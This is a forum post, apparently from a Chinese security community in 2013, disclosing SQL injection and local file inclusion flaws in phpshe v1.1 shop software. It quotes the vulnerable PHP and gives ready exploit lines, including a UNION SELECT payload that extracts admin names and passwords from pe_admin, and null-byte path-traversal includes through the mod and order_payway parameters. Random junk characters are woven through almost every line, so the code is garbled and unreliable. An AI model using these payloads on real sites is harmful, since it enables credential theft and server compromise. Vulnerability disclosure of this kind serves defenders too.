找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2619|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/  f" v% y/ M& A# Z; M/ f
/* Phpshe v1.1 Vulnerability
- m/ S/ E; w+ Y% \4 ^# Z& d/* ========================3 {8 o2 g8 N4 q8 K, G
/* By: : Kn1f3
. T' p1 p6 }3 c1 [/* E-Mail : 681796@qq.com% }+ f" I9 T  _2 J8 h
/*******************************************************/0 N2 w% D; N: n9 L/ W2 C' ], U  Y) @
0×00 整体大概参数传输
+ O0 a, Q  n: N- y
% l; j6 H( ?+ v4 w! V9 u- Q# Y4 n5 p* q% F' y* x3 L$ z

" g  ^" z# y6 R3 @3 W# Q5 K8 w//common.php0 H7 E6 e% N5 c: p) x* |% ~" x. a
if (get_magic_quotes_gpc()) {
& f7 z9 O% j& V# @, n% q9 o5 j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- ]' u  ~7 q: `' |. x% m" \!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');: i4 t* l1 ^. l
}
! k9 u1 t2 U  i0 b9 jelse {+ n' F4 ]4 e, H6 q" p6 B
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
0 l) u* J4 i) Y6 R!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');9 c* W4 O/ H$ k) Z6 ^' ^
}3 g: m; A# p' o3 D( k( l
session_start();
' s5 V% N# N( m4 r" I  Y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
+ e, O1 W( Q+ U: M$ W2 W; o8 @( ?!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');: a0 R8 U& T  W8 r

8 ?6 i) o+ v; N4 o' b- ]" @' i) ?4 Y0×01 包含漏洞( o+ i# E: Q0 y" U/ r+ }
3 X) ]- e/ S4 I# O7 Q7 n

% S- h# _8 j8 t, {/ v//首页文件7 F( K2 o( Y+ X$ H0 `+ Y
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
) a7 Z9 b0 e: c* vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* v( d2 S2 ~; C8 B5 M5 z9 Epe_result();
& Y* E7 X  G" n' ?* n3 e?>
$ y4 u$ _( A* B; H//common 文件 第15行开始$ b& m0 M0 [! P6 e2 P
url路由配置
3 D: h+ F- B8 D8 m. c$module = $mod = $act = 'index';% W2 M0 G& C, e8 f! a9 `% c
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);- [5 E2 N! [$ w  V
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
  U9 o: `6 G9 u5 _$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 j  V$ ~7 a' J' e* r//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
. m) k; J; g( r- ~


) D, V: c3 j# {$ O & @, Y7 M% }* G9 K
0×02 搜索注入
: L3 ^& Y) j4 K- u  I/ [1 n% ]
$ M4 V2 }4 I$ r<code id="code2">

//product.php文件7 m. s# k/ J* _, k( e
case 'list':
; d7 g$ p" L& O$category_id = intval($id);
' ]; c/ B. N8 @! u2 I% H$info = $db->pe_select('category', array('category_id'=>$category_id));
/ f9 ^; U5 h- F9 E: i. k: h' N//搜索% t- i* }' o$ c" z, |7 \/ b' Y
$sqlwhere = " and `product_state` = 1";" \3 A8 V# c0 E6 m6 W
pe_lead('hook/category.hook.php');
- w) m9 D6 O: j1 M, n4 H+ w6 Zif ($category_id) {
; b; n# Y$ x- O+ U: F. iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
  T. n; t5 `( b! b6 |}
$ z5 ~% o" N. t8 I5 U$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤& w! `5 |, k" a" l9 {7 b
if ($_g_orderby) {
. K0 [# M" R/ R% q' R$orderby = explode('_', $_g_orderby);
7 I6 a- [1 a# B. \, f- T% @$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
- I! i1 `& |3 g+ F}  c; o/ o  J0 T. _% Y. }$ B
else {
  ~) }$ g. U$ F. c& y! s- n$sqlwhere .= " order by `product_id` desc";( W+ \- s9 b7 [* e3 \& S; m2 D+ d
}- |: Q3 ?# d5 V3 M0 k* o" }3 A
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));3 Q/ \" M9 e4 P6 p8 l
//热卖排行1 g" [- R. L. |6 q6 X4 H
$product_hotlist = product_hotlist();
. d, X5 i) W; H" ^9 s//当前路径7 \: r: ]0 }- [8 C+ N1 l4 o# |3 Q, a2 B
$nowpath = category_path($category_id);
! A$ j0 I. N/ u  X- S$seo = pe_seo($info['category_name']);% ^: x& q# t7 ]: R: J: k. k
include(pe_tpl('product_list.html'));* {1 J/ f3 w( I0 \$ D, V
//跟进selectall函数库% _& L, R6 e/ Y0 s. W8 |! y, N. o
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
$ t0 j" d; I% |7 i- L{! y4 d) B; U7 N# U( Z
//处理条件语句* A- T: j: N6 ?" {$ `
$sqlwhere = $this->_dowhere($where);7 ], p7 l: I3 t4 J0 K
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" G5 R# D: v! q1 `. T7 o* T5 |% T}8 J6 j. t, ^9 ?- ^
//exp" w7 N' c6 c! q4 A- w
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
) O) ^( |. ]5 X6 \* J6 `8 c

</code>
- z& R& y2 d, j! y2 U : p4 X  j* O1 o' |
0×03 包含漏洞2, j( m8 I, X8 H9 o5 W! n5 g
8 p6 E; X; ^9 E5 b6 ^3 }- ?
<code id="code3">

//order.php

case 'pay':

+ b/ _4 v+ G% G( n( l3 c
$order_id = pe_dbhold($_g_id);


, s* e# J. ~; [: i& j& e$cache_payway = cache::get('payway');

! `  M  P9 D4 S) p' J6 O+ Y6 ?' b
foreach($cache_payway as $k => $v) {


% p( g* ?; N8 ~0 _4 l- C$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 `" B1 J- ]# ?- L
if ($k == 'bank') {


1 e% s0 I. C3 z" E1 h2 {) V$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


# k6 @+ q. F' ^! b" K% b- y, V% S}


- d; w6 e3 G# j}

+ p9 l6 Q0 [' j
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


% b) b8 T7 b# b3 P7 J2 D!$order['order_id'] && pe_error('订单号错误...');


6 ?! i6 ^5 b$ Y  r- F; Pif (isset($_p_pesubmit)) {


$ q- H2 f& ~" J; _8 Qif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 P& A6 F4 B* Y* ~$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. e9 J; s9 q2 j: Q: X1 B$ ?
foreach ($info_list as $v) {


  E- u* @) ^) J2 q3 R/ q. p$order['order_name'] .= "{$v['product_name']};";
/ l/ s. I8 A0 T0 d+ L! Z

9 z  f5 T7 X$ `, b" S8 D) T
}

+ z& [0 A. k1 U6 O8 f- k
echo '正在为您连接支付网站,请稍后...';

9 r- f1 `: d: u+ I
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


& v9 }8 H0 W+ K( N- J# D}//当一切准备好的时候就可以进行"鸡肋包含了"

3 Q4 O! z  s6 h
else {


, ]4 x  E9 {# N: {9 Epe_error('支付错误...');


+ S7 X& \, {0 ^( Z}

% b) o, v. Z) J& M2 ~/ {- A* C
}

0 e4 i& b% O2 f) N5 N, ]5 b) L8 ]6 K
$seo = pe_seo('选择支付方式');

, ^* z, t- e4 ?, J, ?, B) N
include(pe_tpl('order_pay.html'));

  L# _; s# W, R7 D
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
$ G7 \6 V+ S. C) K; o

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表